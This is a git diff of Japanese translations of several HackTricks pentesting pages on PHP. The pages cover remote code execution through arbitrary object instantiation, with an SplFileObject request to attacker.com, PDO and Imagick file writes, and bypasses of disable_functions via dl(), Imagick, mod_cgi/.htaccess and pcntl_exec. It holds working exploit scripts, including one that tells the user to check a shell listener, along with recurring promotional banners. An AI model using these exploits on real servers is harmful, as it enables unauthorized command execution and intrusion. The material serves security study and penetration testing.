## オートローディングの動作はPHPのバージョンによって異なり、異なるRCEの可能性を提供します。
自動読み込みの動作はPHPのバージョンによって異なり、異なるRCEの可能性を提供します。
## 組み込みクラスを利用したRCE
## 組み込みクラスによるRCE
**カスタムクラスやオートローダーがない場合**、**組み込みのPHPクラス**がRCEに十分である場合があります。これらのクラスの数は、PHPのバージョンや拡張機能によって100から200の範囲に及ぶことがあります。これらは`get_declared_classes()`を使用してリストアップすることができます。
カスタムクラスやオートローダーがない場合、**組み込みPHPクラス**がRCEに十分である可能性があります。これらのクラスの数は、PHPのバージョンや拡張機能に基づいて100から200の間です。`get_declared_classes()`を使用してリストできます。
興味のあるコンストラクタは、リフレクションAPIを使用して特定できます。以下の例とリンク[https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)に示されているように
興味のあるコンストラクタは、以下の例とリンク[https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)に示すように、リフレクションAPIを通じて特定できます
**特定のメソッドを介したRCEには次のものが含まれます:**
**特定のメソッドによるRCEには以下が含まれます**
### **SSRF + Pharデシリアライゼーション**
### **SSRF + Pharデシリアライ**
`SplFileObject`クラスは、そのコンストラクタを介してSSRFを可能にし、任意のURLへの接続を許可します。
`SplFileObject`クラスは、そのコンストラクタを通じてSSRFを可能にし、任意のURLへの接続を許可します
```php
new SplFileObject('http://attacker.com/');
```
SSRFは、PHPの8.0より前のバージョンでPharプロトコルを使用して逆シリアル化攻撃につながる可能性があります。
SSRFは、PHP 8.0以前のバージョンでPharプロトコルを使用することにより、デシリアライズ攻撃を引き起こす可能性があります。
### **PDOの悪用**
PDOクラスのコンストラクタを利用すると、DSN文字列を介してデータベースへの接続が可能になり、ファイルの作成やその他の相互作用が可能になります。
PDOクラスのコンストラクタは、DSN文字列を介してデータベースへの接続を許可し、ファイルの作成やその他のインタラクションを可能にします。
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
PHPのバージョン5.3.22および5.4.12までは、`SoapClient`および`SimpleXMLElement`のコンストラクタを介してXXE攻撃に対して脆弱でしたが、libxml2のバージョンに依存します。
PHPのバージョン5.3.22および5.4.12までが、`SoapClient`および`SimpleXMLElement`コンストラクタを通じてXXE攻撃に対して脆弱であることが確認されました。これはlibxml2のバージョンに依存します。
## Imagick拡張機能を介したRCE
## RCE via Imagick Extension
**プロジェクトの依存関係**の分析において、**Imagick**が新しいオブジェクトをインスタンス化することで**コマンド実行**に利用できることが発見されました。これは脆弱性を悪用する機会を提供します。
**プロジェクトの依存関係**の分析において、**Imagick**が新しいオブジェクトをインスタンス化することで**コマンド実行**に利用できることが発見されました。これは脆弱性を悪用する機会を提供します。
### VIDパーサー
### VID parser
ファイルシステム内の任意の指定されたパスにコンテンツを書き込むVIDパーサー機能が特定されました。これにより、PHPシェルをWebアクセス可能なディレクトリに配置して、リモートコード実行RCEを達成することができます。
ファイルシステム内の任意の指定されたパスにコンテンツを書き込む能力を持つVIDパーサーが特定されました。これにより、ウェブアクセス可能なディレクトリにPHPシェルを配置し、リモートコード実行RCEを達成する可能性があります。
#### VIDパーサー + ファイルアップロード
#### VID Parser + File Upload
PHPはアップロードされたファイルを一時的に`/tmp/phpXXXXXX`に保存することがわかっています。 ImagickのVIDパーサーは、**msl**プロトコルを利用してファイルパス内のワイルドカードを処理し、一時ファイルを選択した場所に転送することができます。この方法は、ファイルシステム内での任意のファイル書き込みを達成するための追加のアプローチを提供します。
PHPはアップロードされたファイルを一時的に`/tmp/phpXXXXXX`に保存することが知られています。**msl**プロトコルを利用するImagickのVIDパーサーは、ファイルパス内のワイルドカードを処理でき、一時ファイルを選択した場所に転送することを容易にします。この方法は、ファイルシステム内での任意のファイル書き込みを達成するための追加のアプローチを提供します。
### PHPクラッシュ + ブルートフォース
### PHP Crash + Brute Force
[**元の解説**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)に記載されている方法は、削除前にサーバーをクラッシュさせるファイルをアップロードすることです。一時ファイルの名前をブルートフォースすることで、Imagickが任意のPHPコードを実行できるようになります。ただし、このテクニックは、古いバージョンのImageMagickでのみ効果的であることがわかりました。
[**元の文書**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)で説明されている方法では、削除前にサーバーのクラッシュを引き起こすファイルをアップロードします。一時ファイルの名前をブルートフォースすることで、Imagickが任意のPHPコードを実行することが可能になります。ただし、この技術は古いバージョンのImageMagickでのみ効果的であることが判明しました。
## 参考文献
## References
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,83 +1,84 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちを**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**重要な注意:**
![image](https://user-images.githubusercontent.com/84577967/174675487-a4c4ca06-194f-4725-85af-231a2f35d56c.png)
**`dl`**はPHP関数で、PHP拡張機能をロードするために使用できます。この関数が無効にされていない場合、**`disable_functions`をバイパスして任意のコマンドを実行**することができます。\
ただし、いくつかの厳格な制限があります:
**`dl`** はPHP拡張をロードするために使用できるPHP関数です。この関数が無効でない場合、**`disable_functions`をバイパスして任意のコマンドを実行するために悪用される可能性があります**。\
ただし、いくつかの厳しい制限があります:
* `dl`関数は**環境に存在し、無効にされていなければなりません**
* PHP拡張機能は、サーバーが使用している**同じメジャーバージョンPHP APIバージョンでコンパイル**されている必要がありますこの情報はphpinfoの出力で確認できます
* PHP拡張機能**`extension_dir`ディレクティブで定義されたディレクトリに配置**されている必要がありますphpinfoの出力で確認できます。攻撃者がサーバーを悪用しようとする際にこのディレクトリに書き込みアクセス権限を持っている可能性は非常に低いため、この要件はおそらくこのテクニックの悪用を防ぐでしょう。
* `dl`関数は**環境に存在し**、**無効でない**必要があります
* PHP拡張は**サーバーが使用しているのと同じメジャーバージョン**PHP APIバージョンでコンパイルされている必要がありますこの情報はphpinfoの出力で確認できます
* PHP拡張は**`extension_dir`**ディレクティブで**定義されたディレクトリ**に**配置されている必要があります**これもphpinfoの出力で確認できます。攻撃者がサーバーを悪用しようとする場合、このディレクトリに書き込みアクセスを持つことは非常に考えにくいため、この要件はおそらくこの技術を悪用するのを防ぐでしょう。
**これらの要件を満たしている場合は、投稿を続けて読んでください** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **`disable_functions`をバイパスする方法を学ぶ**。以下は要約です:
**これらの要件を満たす場合は、投稿を読み続けてください** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **で`disable_functions`をバイパスする方法を学びます。以下は要約です:**
[dl関数](http://www.php.net/manual/en/function.dl.php)は、スクリプト実行中にPHP拡張機能を動的にロードするために使用されます。通常、C/C++で書かれたPHP拡張機能は、PHPの機能を拡張します。攻撃者は、`dl`関数が無効にされていないことに気付いた場合、システムコマンドを実行するためのカスタムPHP拡張機能を作成することに決定します。
[dl関数](http://www.php.net/manual/en/function.dl.php)は、スクリプト実行中にPHP拡張を動的にロードするために使用されます。PHP拡張は通常C/C++で書かれており、PHPの機能を強化します。攻撃者は、`dl`関数が無効でないことに気づくと、システムコマンドを実行するためのカスタムPHP拡張を作成することを決定します。
### 攻撃者が取った手順
### 攻撃者が取ったステップ
1. **PHPバージョンの特定:**
- 攻撃者はスクリプト(`<?php echo 'PHP Version is '.PHP_VERSION; ?>`を使用してPHPバージョンを特定します。
- 攻撃者はスクリプト(`<?php echo 'PHP Version is '.PHP_VERSION; ?>`を使用してPHPバージョンを特定します。
2. **PHPソースの取得:**
- 公式の[PHPウェブサイト](http://www.php.net/downloads.php)または[アーカイブ](http://museum.php.net)からPHPソースをダウンロードします(バージョンが古い場合)
- 公式の[PHPウェブサイト](http://www.php.net/downloads.php)またはバージョンが古い場合は[アーカイブ](http://museum.php.net)からPHPソースをダウンロードします。
3. **ローカルPHPセットアップ:**
- 特定のPHPバージョンをシステムに展開してインストールします。
- 特定のPHPバージョンを自分のシステムに抽出してインストールします。
4. **拡張機能の作成:**
- [PHP拡張機能の作成](http://www.php.net/manual/en/zend.creating.php)を学習し、PHPソースコードを調査します。
4. **拡張の作成:**
- [PHP拡張の作成](http://www.php.net/manual/en/zend.creating.php)を学、PHPソースコードを調査します。
- `ext/standard/exec.c`にある[exec関数](http://www.php.net/manual/en/function.exec.php)の機能を複製することに焦点を当てます。
### カスタム拡張機能のコンパイルに関する注意事項:
### カスタム拡張のコンパイルに関する注意事項:
1. **ZEND_MODULE_API_NO:**
- `bypass.c`の`ZEND_MODULE_API_NO`は、現在のZend Extension Buildと一致する必要があります。次のコマンドで取得できます
- `bypass.c`の`ZEND_MODULE_API_NO`は、現在のZend Extension Buildと一致する必要があります。これは次のコマンドで取得できます:
```bash
php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{print $1}'
```
2. **PHP_FUNCTIONの修正:**
- 最近のPHPバージョン5、7、8の場合、`PHP_FUNCTION(bypass_exec)`を調整する必要があるかもしれません。提供されたコードスニペットがこの修正の詳細を示しています。
- 最近のPHPバージョン5、7、8では、`PHP_FUNCTION(bypass_exec)`の調整が必要な場合があります。提供されたコードスニペットはこの修正の詳細を示しています。
### カスタム拡張機能ファイル:
### カスタム拡張ファイル:
- **bypass.c**:
- カスタム拡張機能のコア機能を実装します。
- カスタム拡張のコア機能を実装します。
- **php_bypass.h**:
- 拡張機能のプロパティを定義するヘッダーファイル。
- 拡張のプロパティを定義するヘッダーファイル。
- **config.m4**:
- カスタム拡張機能のビルド環境を構成するために`phpize`によって使用されます。
- `phpize`によってカスタム拡張のビルド環境を構成するために使用されます。
### 拡張機能のビルド:
### 拡張のビルド:
1. **コンパイルコマンド:**
- `phpize`、`./configure`、`make`を使用して拡張機能をコンパイルします。
- 生成された`bypass.so`は、modulesサブディレクトリに配置されます。
- `phpize`、`./configure`、および`make`を使用して拡張をコンパイルします。
- 結果として得られる`bypass.so`は、モジュールのサブディレクトリに配置されます。
2. **クリーンアップ:**
- コンパイル後に`make clean`と`phpize --clean`を実行します。
### 被害者ホストにアップロードして実行:
### 被害者ホストへのアップロードと実行:
1. **バージョンの互換性:**
- 攻撃者と被害者のシステム間でPHP APIバージョンが一致していることを確認します。
2. **拡張機能のロード:**
- 相対パスを使用するか、スクリプトを使用して制限を回避するために`dl`関数を使用します。
2. **拡張のロード:**
- `dl`関数を利用し、相対パスやスクリプトを使用してプロセスを自動化することで制限を回避します。
3. **スクリプトの実行:**
- 攻撃者は`bypass.so`とPHPスクリプトを被害者のサーバーにアップロードします。
@ -85,22 +86,23 @@ php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{pr
### コマンドの実行:
- 攻撃者は、次のようにアクセスすることでコマンドを実行できます:`http://www.example.com/script.php?cmd=<command>`
- 攻撃者は次のURLにアクセスすることでコマンドを実行できます:`http://www.example.com/script.php?cmd=<command>`
この詳細な手順は、`dl`関数を悪用してシステムコマンドを実行するためのPHP拡張機能を作成および展開するプロセスを説明しており、このセキュリティ違反を防ぐために理想的には無効にすべき`dl`関数を悪用しています。
この詳細な手順は、`dl`関数を悪用してシステムコマンドを実行するためのPHP拡張を作成し、展開するプロセスを概説しています。この関数は理想的には無効にされるべきであり、そのようなセキュリティ侵害を防ぐべきです。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちを**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Imagick &lt;= 3.3.0 PHP &gt;= 5.4 Exploit
# Imagick &lt;= 3.3.0 PHP &gt;= 5.4 エクスプロイト
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
# Exploit Title: PHP Imagick disable_functions Bypass
# Date: 2016-05-04
@ -65,16 +66,17 @@ $thumb->destroy();
echo file_get_contents($data_file);
?>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに提出する。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
# mod\_cgi
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)から
```php
<?php
// Only working with mod_cgi, writable dir and htaccess files enabled
@ -55,16 +56,17 @@ echo "Executing the script now. Check your listener <img src = 'shell.dizzle' st
}
?>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出する**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
- **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[telegramグループに参加](https://t.me/peass)または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローする。**
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
# PHP 4 &gt;= 4.2.0, PHP 5 pcntl\_exec
From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)から
```php
<?php
$dir = '/var/tmp/';
@ -39,16 +40,17 @@ echo '不支持pcntl扩展';
}
?>
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
